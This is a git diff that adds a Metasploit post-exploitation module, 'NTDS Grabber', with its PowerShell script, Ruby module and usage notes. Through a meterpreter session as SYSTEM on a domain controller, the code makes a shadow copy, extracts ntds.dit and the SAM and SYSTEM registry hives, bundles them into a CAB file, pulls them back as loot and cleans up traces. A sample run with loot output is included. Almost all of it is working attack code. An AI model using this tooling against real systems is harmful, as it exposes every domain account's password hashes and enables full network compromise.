diff --git a/data/post/powershell/NTDSgrab.ps1 b/data/post/powershell/NTDSgrab.ps1 new file mode 100644 index 0000000000..00f879b914 --- /dev/null +++ b/data/post/powershell/NTDSgrab.ps1 @@ -0,0 +1,139 @@ +#Complete script created by Koen Riepe (koen.riepe@fox-it.com) +#New-CabinetFile originally by Iain Brighton: http://virtualengine.co.uk/2014/creating-cab-files-with-powershell/ +function New-CabinetFile { + [CmdletBinding()] + Param( + [Parameter(HelpMessage="Target .CAB file name.", Position=0, Mandatory=$true, ValueFromPipelineByPropertyName=$true)] + [ValidateNotNullOrEmpty()] + [Alias("FilePath")] + [string] $Name, + + [Parameter(HelpMessage="File(s) to add to the .CAB.", Position=1, Mandatory=$true, ValueFromPipeline=$true)] + [ValidateNotNullOrEmpty()] + [Alias("FullName")] + [string[]] $File, + + [Parameter(HelpMessage="Default intput/output path.", Position=2, ValueFromPipelineByPropertyName=$true)] + [AllowNull()] + [string[]] $DestinationPath, + + [Parameter(HelpMessage="Do not overwrite any existing .cab file.")] + [Switch] $NoClobber + ) + + Begin { + + ## If $DestinationPath is blank, use the current directory by default + if ($DestinationPath -eq $null) { $DestinationPath = (Get-Location).Path; } + Write-Verbose "New-CabinetFile using default path '$DestinationPath'."; + Write-Verbose "Creating target cabinet file '$(Join-Path $DestinationPath $Name)'."; + + ## Test the -NoClobber switch + if ($NoClobber) { + ## If file already exists then throw a terminating error + if (Test-Path -Path (Join-Path $DestinationPath $Name)) { throw "Output file '$(Join-Path $DestinationPath $Name)' already exists."; } + } + + ## Cab files require a directive file, see 'http://msdn.microsoft.com/en-us/library/bb417343.aspx#dir_file_syntax' for more info + $ddf = ";*** MakeCAB Directive file`r`n"; + $ddf += ";`r`n"; + $ddf += ".OPTION EXPLICIT`r`n"; + $ddf += ".Set CabinetNameTemplate=$Name`r`n"; + $ddf += ".Set DiskDirectory1=$DestinationPath`r`n"; + $ddf += ".Set MaxDiskSize=0`r`n"; + $ddf += ".Set Cabinet=on`r`n"; + $ddf += ".Set Compress=on`r`n"; + ## Redirect the auto-generated Setup.rpt and Setup.inf files to the temp directory + $ddf += ".Set RptFileName=$(Join-Path $ENV:TEMP "setup.rpt")`r`n"; + $ddf += ".Set InfFileName=$(Join-Path $ENV:TEMP "setup.inf")`r`n"; + + ## If -Verbose, echo the directive file + if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { + foreach ($ddfLine in $ddf -split [Environment]::NewLine) { + Write-Verbose $ddfLine; + } + } + } + + Process { + + ## Enumerate all the files add to the cabinet directive file + foreach ($fileToAdd in $File) { + + ## Test whether the file is valid as given and is not a directory + if (Test-Path $fileToAdd -PathType Leaf) { + Write-Verbose """$fileToAdd"""; + $ddf += """$fileToAdd""`r`n"; + } + ## If not, try joining the $File with the (default) $DestinationPath + elseif (Test-Path (Join-Path $DestinationPath $fileToAdd) -PathType Leaf) { + Write-Verbose """$(Join-Path $DestinationPath $fileToAdd)"""; + $ddf += """$(Join-Path $DestinationPath $fileToAdd)""`r`n"; + } + else { Write-Warning "File '$fileToAdd' is an invalid file or container object and has been ignored."; } + } + } + + End { + + $ddfFile = Join-Path $DestinationPath "$Name.ddf"; + $ddf | Out-File $ddfFile -Encoding ascii | Out-Null; + + Write-Verbose "Launching 'MakeCab /f ""$ddfFile""'."; + $makeCab = Invoke-Expression "MakeCab /F ""$ddfFile"""; + + ## If Verbose, echo the MakeCab response/output + if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { + ## Recreate the output as Verbose output + foreach ($line in $makeCab -split [environment]::NewLine) { + if ($line.Contains("ERROR:")) { throw $line; } + else { Write-Verbose $line; } + } + } + + ## Delete the temporary .ddf file + Write-Verbose "Deleting the directive file '$ddfFile'."; + Remove-Item $ddfFile; + + ## Return the newly created .CAB FileInfo object to the pipeline + Get-Item (Join-Path $DestinationPath $Name); + } +} + +$key = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" +$ntdsloc = (Get-ItemProperty -Path $key -Name "DSA Database file")."DSA Database file" +$ntdspath = $ntdsloc.split(":")[1] +$ntdsdisk = $ntdsloc.split(":")[0] + +(Get-WmiObject -list win32_shadowcopy).create($ntdsdisk + ":\","ClientAccessible") + +$id_shadow = "None" +$volume_shadow = "None" + +if (!(Get-WmiObject win32_shadowcopy).length){ + Write-Host "Only one shadow clone" + $id_shadow = (Get-WmiObject win32_shadowcopy).ID + $volume_shadow = (Get-WmiObject win32_shadowcopy).DeviceObject +} Else { + $n_shadows = (Get-WmiObject win32_shadowcopy).length-1 + $id_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].ID + $volume_shadow = (Get-WmiObject win32_shadowcopy)[$n_shadows].DeviceObject +} + +$command = "cmd.exe /c copy "+ $volume_shadow + $ntdspath + " " + ".\ntds.dit" +iex $command + +$command2 = "cmd.exe /c reg save HKLM\SYSTEM .\SYSTEM" +iex $command2 + +$command3 = "cmd.exe /c reg save HKLM\SAM .\SAM" +iex $command3 + +(Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $volume_shadow}).Delete() +if (Test-Path "All.cab"){ + Remove-Item "All.cab" +} +New-CabinetFile -Name All.cab -File "SAM","SYSTEM","ntds.dit" +Remove-Item ntds.dit +Remove-Item SAM +Remove-Item SYSTEM diff --git a/modules/post/windows/gather/ntds_grabber.md b/modules/post/windows/gather/ntds_grabber.md new file mode 100644 index 0000000000..a0ca4b9601 --- /dev/null +++ b/modules/post/windows/gather/ntds_grabber.md @@ -0,0 +1,58 @@ +## Creating A Testing Environment + To use this module you need an meterpreter on a domain controller. + The meterpreter has to have SYSTEM priviliges. + Powershell has te be installed. + +This module has been tested against: + + 1. Windows Server 2008r2 + +This module was not tested against, but may work against: + + 1. Other versions of Windows server. + +## Verification Steps + + 1. Start msfconsole + 2. Obtain a meterpreter session with a meterpreter via whatever method. + 3. Ensure the metepreter has SYSTEM priviliges. + 4. Ensure powershell is installed. + 3. Do: 'use post/windows/gather/ntds_grabber ' + 4. Do: 'set session #' + 5. Do: 'run' + +## Scenarios + +### Windows Server 2008r2 with an x86 meterpreter + + msf exploit(psexec) > use post/windows/gather/ntds_grabber + msf post(ntds_grabber) > set session # + session => # + msf post(ntds_grabber) > run + + [+] [2017.04.05-12:26:49] Running as SYSTEM + [+] [2017.04.05-12:26:50] Running on a domain controller + [+] [2017.04.05-12:26:50] PowerShell is installed. + [-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture! + [*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe + [+] [2017.04.05-12:26:51] Got pid 3088 + [*] [2017.04.05-12:26:51] Migrating.. + [+] [2017.04.05-12:26:56] Success! + [*] [2017.04.05-12:26:56] Powershell Script executed + [*] [2017.04.05-12:26:59] Creating All.cab + [*] [2017.04.05-12:27:01] Waiting for All.cab + [*] [2017.04.05-12:27:02] Waiting for All.cab + [+] [2017.04.05-12:27:02] All.cab should be created in the current working directory + [*] [2017.04.05-12:27:05] Downloading All.cab + [+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab + [*] [2017.04.05-12:27:15] Removing All.cab + [+] [2017.04.05-12:27:15] All.cab Removed + [*] Post module execution completed + msf post(ntds_grabber) > loot + + Loot + ==== + + host service type name content info path + ---- ------- ---- ---- ------- ---- ---- + 10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab diff --git a/modules/post/windows/gather/ntds_grabber.rb b/modules/post/windows/gather/ntds_grabber.rb new file mode 100644 index 0000000000..48b2fe52c3 --- /dev/null +++ b/modules/post/windows/gather/ntds_grabber.rb @@ -0,0 +1,163 @@ +require 'msf/core' + +class MetasploitModule < Msf::Post + include Msf::Post::Windows::Powershell + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + include Msf::Post::File + include Msf::Post::Common + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'NTDS Grabber', + 'Description' => %q(This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller. + It compresses all these files in a cabinet file called All.cab.), + 'License' => MSF_LICENSE, + 'Author' => ['Koen Riepe (koen.riepe@fox-it.com)'], + 'References' => [''], + 'Platform' => [ 'win' ], + 'Arch' => [ 'x86', 'x64' ], + 'SessionTypes' => [ 'meterpreter' ] + ) + ) + + register_options( + [ + OptBool.new('DOWNLOAD', [ true, 'Immediately download the All.cab file', true ]), + OptBool.new('CLEANUP', [ true, 'Remove the All.cab file at the end of module execution', true ]) + ], + self.class + ) + end + + def dc_check + is_dc_srv = false + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + if registry_enumkeys(serviceskey).include?("NTDS") + if registry_enumkeys("#{serviceskey}\\NTDS").include?("Parameters") + is_dc_srv = true + end + end + return is_dc_srv + end + + def task_running(task) + session.shell_write("tasklist \n") + tasklist = session.shell_read(-1, 10).split("\n") + tasklist.each do |prog| + if prog.include? task + session.shell_close + return true + end + end + return false + end + + def check_32_on_64 + apicall = session.railgun.kernel32.IsWow64Process(-1, 4)["Wow64Process"] + # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits. + if apicall == "\x00\x00\x00\x00" + migrate = false + else + migrate = true + end + return migrate + end + + def get_windows_loc + apicall = session.railgun.kernel32.GetEnvironmentVariableA("Windir", 255, 255)["lpBuffer"] + windir = apicall.split(":")[0] + return windir + end + + def run + downloadflag = datastore['DOWNLOAD'] + cleanupflag = datastore['CLEANUP'] + + if is_system? + print_good('Running as SYSTEM') + else + print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING') + return + end + + if not dc_check + print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING') + return + else + print_good('Running on a domain controller') + end + + if have_powershell? + print_good('PowerShell is installed.') + else + print_error('PowerShell is not installed! STOPPING') + return + end + + if check_32_on_64 + print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!') + windir = get_windows_loc + newproc = "#{windir}:\\windows\\sysnative\\svchost.exe" + if exist?(newproc) + print_status("Starting new x64 process #{newproc}") + pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid + print_good("Got pid #{pid}") + print_status('Migrating..') + session.core.migrate(pid) + if pid == session.sys.process.getpid + print_good('Success!') + else + print_error('Migration failed!') + end + end + else + print_good('The meterpreter is the same architecture as the OS!') + end + + base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "NTDSgrab.ps1")) + execute_script(base_script) + print_status('Powershell Script executed') + cabcount = 0 + + while cabcount < 2 + if task_running("makecab.exe") + cabcount += 1 + while cabcount < 2 + print_status('Creating All.cab') + if not task_running("makecab.exe") + cabcount += 1 + while not file_exist?("All.cab") + sleep(1) + print_status('Waiting for All.cab') + end + print_good('All.cab should be created in the current working directory') + end + sleep(1) + end + end + sleep(1) + end + + if downloadflag + print_status('Downloading All.cab') + p1 = store_loot('Cabinet File', 'application/cab', session, read_file("All.cab"), 'All.cab', 'Cabinet file containing SAM, SYSTEM and NTDS.dit') + print_good("All.cab saved in: #{p1}") + end + + if cleanupflag + print_status('Removing All.cab') + begin + file_rm('All.cab') + rescue + print_error('Problem with removing All.cab. Manually check if it\'s still there.') + end + if not file_exist?("All.cab") + print_good('All.cab Removed') + else + print_error('All.cab was not removed') + end + end + end +end